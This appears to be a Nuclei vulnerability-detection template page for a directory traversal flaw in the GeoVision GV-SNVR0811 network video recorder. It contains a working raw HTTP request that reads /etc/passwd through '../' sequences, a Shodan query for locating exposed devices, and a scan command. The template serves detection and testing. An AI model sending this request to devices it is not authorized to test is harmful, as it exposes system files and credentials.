GeoVision GV-SNVR0811 - Directory Traversal

ID: geovision-lfi

Severity: high

Author: DhiyaneshDK

Tags: geovision,lfi,cross-web,webclient,iot

Description

The GeoVision GV-SNVR0811 network video recorder is vulnerable to a Directory Traversal vulnerability, which allows unauthenticated remote attackers to access arbitrary files on the device by manipulating the file path in HTTP requests (e.g., using ../ sequences).

YAML Source

id: geovision-lfi

info:
  name: GeoVision GV-SNVR0811 - Directory Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    The GeoVision GV-SNVR0811 network video recorder is vulnerable to a Directory Traversal vulnerability, which allows unauthenticated remote attackers to access arbitrary files on the device by manipulating the file path in HTTP requests (e.g., using ../ sequences).
  impact: This could lead to unauthorized access to sensitive files, including system configurations, credentials, or other critical information.
  reference:
    - https://www.exploit-db.com/exploits/45065
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Server:Cross Web Server"
  tags: geovision,lfi,cross-web,webclient,iot

http:
  - raw:
      - |
        GET /../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:$")'
          - 'contains(content_type, "application/octet-stream")'
        condition: and
# digest: 490a004630440220565508440e48ade4870416aad9077ae0e955a9870b404ecc2b69596e5b341b8e02206785f1261b80c9a01926c99de5d61a0c388062dc77783eb523d3a0576c06f37d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/iot/geovision-lfi.yaml"

View on Github